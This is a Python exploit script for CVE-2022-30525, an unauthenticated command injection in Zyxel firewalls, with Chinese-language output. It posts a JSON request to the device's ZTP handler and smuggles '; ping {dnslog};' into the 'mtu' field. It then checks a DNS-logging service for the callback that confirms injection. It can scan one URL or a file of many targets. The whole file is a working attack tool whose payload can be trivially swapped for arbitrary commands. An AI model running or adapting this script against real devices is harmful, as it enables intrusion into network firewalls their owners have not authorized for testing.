CVE-2022-30525.py

#!/usr/bin/env python
# -*- conding:utf-8 -*-
import requests
import argparse
import sys
import urllib3
import json
import time
from dnslog import get_dnslog,get_data
urllib3.disable_warnings()


def title():
    print("""
  _____ __      __ ______          ___    ___   ___   ___           ____    ___   _____  ___   _____ 
 / ____|\ \    / /|  ____|        |__ \  / _ \ |__ \ |__ \         |___ \  / _ \ | ____||__ \ | ____|
| |      \ \  / / | |__    ______    ) || | | |   ) |   ) | ______   __) || | | || |__     ) || |__  
| |       \ \/ /  |  __|  |______|  / / | | | |  / /   / / |______| |__ < | | | ||___ \   / / |___ \ 
| |____    \  /   | |____          / /_ | |_| | / /_  / /_          ___) || |_| | ___) | / /_  ___) |
 \_____|    \/    |______|        |____| \___/ |____||____|        |____/  \___/ |____/ |____||____/
                                                                                                     

                                                               Author:Henry4E36
               """)

class information(object):
    def __init__(self,args):
        self.args = args
        self.url = args.url
        self.file = args.file

    def target_url(self):
        target_url = self.url + "/ztp/cgi-bin/handler"
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
            "Content-Type": "application/json"
        }
        dnslog = get_dnslog()
        data = {"command": "setWanPortSt", "proto": "dhcp", "port": "4", "vlan_tagged": "1", "vlanid": "5", "mtu": f"; ping {dnslog};", "data": "hi"}
        try:
            res = requests.post(url=target_url, headers=headers, data=json.dumps(data), verify=False, timeout=5)
        except Exception as e:
            pass

        time.sleep(5)
        data = get_data()
        if dnslog in data:
            print(f"\033[31m[{chr(8730)}] 目标系统: {self.url} 存在Zyxel 防火墙未经身份验证的远程命令注入\033[0m")
            print("[" + "-"*100 + "]")
        else:
            print(f"[\033[31mx\033[0m]  目标系统: {self.url} 不存在Zyxel 防火墙未经身份验证的远程命令注入！")
            print("[" + "-"*100 + "]")

    def file_url(self):
        with open(self.file, "r") as urls:
            for url in urls:
                url = url.strip()
                if url[:4] != "http":
                    url = "http://" + url
                self.url = url.strip()
                information.target_url(self)


if __name__ == "__main__":
    title()
    parser = ar=argparse.ArgumentParser(description='Zyxel 防火墙未经身份验证的远程命令注入')
    parser.add_argument("-u", "--url", type=str, metavar="url", help="Target url eg:\"http://127.0.0.1\"")
    parser.add_argument("-f", "--file", metavar="file", help="Targets in file  eg:\"ip.txt\"")
    args = parser.parse_args()
    if len(sys.argv) != 3:
        print(
            "[-]  参数错误！\neg1:>>>python3 CVE-2022-30525.py -u http://127.0.0.1\neg2:>>>python3 CVE-2022-30525.py -f ip.txt")
    elif args.url:
        information(args).target_url()

    elif args.file:
        information(args).file_url()